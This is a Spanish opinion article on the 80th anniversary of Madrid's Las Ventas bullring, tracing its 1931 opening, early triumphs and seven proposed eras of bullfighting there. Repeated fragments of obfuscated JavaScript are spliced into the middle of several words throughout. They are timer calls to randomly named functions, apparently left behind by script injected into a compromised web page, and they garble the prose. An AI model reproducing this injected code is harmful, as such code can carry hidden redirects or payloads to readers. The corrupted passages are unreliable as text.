OCHENTA AÑOS DE LAS VENTAS

Algunos pensarán que la plaza de toros madrileña de Las Ventas tiene más de 80 años. Y es cierto, porque se inauguró en 1931, siendo su primer matador el vasco “Fortuna” y su primer toro, “Hortelano”, de Juan Pedro Domecq (encaste Veragua). En el 32 no dio toros, y sí en el 33 dos corridas, resultandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando que en la primera "Maravilla" cortó 4 orejas, y en la segunda Armillita 2 y Domingo Ortega otras dos.

Sin embargo, en el mes de octubre del 34 se dieron tres corridas seguidas, que prologaron la temporada, ya completa, del año 35. En la primera del otoño del 34, Juan Belmonte cortó el primer rabo que se concedió en Las Ventas, y otro cortó al domingo siguiente Marcial Lalandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anda.

¿Era, entonces, Las Ventas una plaza generosa o bien el toreo era más grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andioso? Desde luego, Madrid siempre fue exigente, pero no, como ahora, tan esquiva a reconocer el triunfo de los toreros. Contaba, además, con un toro más adecuado para hacer el toreo que el actual.

A mi entender, la plaza de Las Ventas ha vivido los siguientes ciclos:

Uno: La efervescencia taurina que caracterizó a período manoletista.

Dos: La depresión sufrida por la Fiesta tras la muerte de Manolete y su revitalización gracias a la campaña contra el afeitado abandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderada por Antonio Bienvenida.

Tres: La década prodigiosa protagonizada por las grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andes figuras de los años 60 y el contexto de ganaderías muy en forma.

Cuatro: La depresión torera de los 70 y el crecimiento del volumen del toro.

Cinco: La transición hasta el encumbramiento de las figuras en los años 90.

Seis: El aumento insospechado del volumen del toro y de sus pitones y el triunfo del torero como excepción.

Y siete: La consolidación de un toro enorme que embiste y la realidad de faenas muy importantes a dicho toro, una saga de momentos estelares que va de Ortega Cano, César Rincón, Joselito, Enrique Ponce, José Tomás y El Juli a Miguel Ángel Perera.

Es una opinión, pero se pueden argumentar los siete ciclos enunciados.

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